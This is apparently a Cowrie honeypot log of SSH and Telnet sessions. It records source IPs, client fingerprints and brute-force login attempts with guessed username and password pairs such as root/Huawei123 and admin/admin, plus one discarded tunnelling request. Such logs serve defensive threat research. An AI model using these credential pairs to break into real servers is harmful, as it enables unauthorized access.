{"eventid":"cowrie.login.failed","username":"user","password":"1234567","message":"login attempt [user/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:18.747755Z","src_ip":"89.144.211.139","session":"8905389254bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:19.877296Z","src_ip":"89.144.211.139","session":"8905389254bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43090,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1abd6e44c3a","protocol":"ssh","message":"New connection: 172.237.20.62:43090 (159.203.135.109:22) [session: c1abd6e44c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:23.331451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:23.336360Z","src_ip":"172.237.20.62","session":"c1abd6e44c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:23.497833Z","src_ip":"172.237.20.62","session":"c1abd6e44c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:23.987721Z","src_ip":"172.237.20.62","session":"c1abd6e44c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:25.153480Z","src_ip":"172.237.20.62","session":"c1abd6e44c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49666,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5e0424eed5","protocol":"ssh","message":"New connection: 172.237.20.62:49666 (159.203.135.109:22) [session: 5b5e0424eed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:34.304240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:34.308418Z","src_ip":"172.237.20.62","session":"5b5e0424eed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:34.469476Z","src_ip":"172.237.20.62","session":"5b5e0424eed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:34.952221Z","src_ip":"172.237.20.62","session":"5b5e0424eed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.26701760292053,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:34.984779Z","src_ip":"199.103.57.63","session":"65b9fd8d4b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:36.116090Z","src_ip":"172.237.20.62","session":"5b5e0424eed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":15244,"dst_ip":"10.17.0.5","dst_port":22,"session":"97166e853b76","protocol":"ssh","message":"New connection: 213.209.159.56:15244 (10.17.0.5:22) [session: 97166e853b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.328305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.333573Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.415690Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29056,"dst_ip":"10.17.0.5","dst_port":22,"session":"00681902cfe8","protocol":"ssh","message":"New connection: 87.251.64.176:29056 (10.17.0.5:22) [session: 00681902cfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.556927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.561002Z","src_ip":"87.251.64.176","session":"00681902cfe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.656667Z","src_ip":"87.251.64.176","session":"00681902cfe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani","message":"login attempt [shivani/shivani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.814665Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:37.944791Z","src_ip":"87.251.64.176","session":"00681902cfe8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:38.055728Z","session":"00681902cfe8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:38.153902Z","src_ip":"87.251.64.176","session":"00681902cfe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:38.252941Z","src_ip":"87.251.64.176","session":"00681902cfe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani1","message":"login attempt [shivani/shivani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:38.899709Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani123","message":"login attempt [shivani/shivani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:39.985002Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani1234","message":"login attempt [shivani/shivani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:41.069625Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani12345","message":"login attempt [shivani/shivani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:42.154947Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:43.239470Z","src_ip":"213.209.159.56","session":"97166e853b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59634,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ef984b4fdf","protocol":"ssh","message":"New connection: 172.237.20.62:59634 (159.203.135.109:22) [session: c2ef984b4fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:45.405563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:45.413371Z","src_ip":"172.237.20.62","session":"c2ef984b4fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:45.574703Z","src_ip":"172.237.20.62","session":"c2ef984b4fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:46.058761Z","src_ip":"172.237.20.62","session":"c2ef984b4fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.56835961341858,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:46.668510Z","src_ip":"198.27.76.181","session":"c945789a127a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:47.251946Z","src_ip":"172.237.20.62","session":"c2ef984b4fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57772,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa9ce78b6cb","protocol":"ssh","message":"New connection: 172.237.20.62:57772 (159.203.135.109:22) [session: dfa9ce78b6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:56.256564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:56.261046Z","src_ip":"172.237.20.62","session":"dfa9ce78b6cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:56.419573Z","src_ip":"172.237.20.62","session":"dfa9ce78b6cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:57.129106Z","src_ip":"172.237.20.62","session":"dfa9ce78b6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:58.292637Z","src_ip":"172.237.20.62","session":"dfa9ce78b6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58684,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf25a7d3bc4","protocol":"ssh","message":"New connection: 172.237.20.62:58684 (159.203.135.109:22) [session: baf25a7d3bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:07.221844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:07.226870Z","src_ip":"172.237.20.62","session":"baf25a7d3bc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:07.388437Z","src_ip":"172.237.20.62","session":"baf25a7d3bc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:07.875947Z","src_ip":"172.237.20.62","session":"baf25a7d3bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:09.040541Z","src_ip":"172.237.20.62","session":"baf25a7d3bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54262,"dst_ip":"159.203.135.109","dst_port":22,"session":"95eb4570bbd4","protocol":"ssh","message":"New connection: 172.237.20.62:54262 (159.203.135.109:22) [session: 95eb4570bbd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:18.286491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:18.291087Z","src_ip":"172.237.20.62","session":"95eb4570bbd4","protocol":"ssh"}
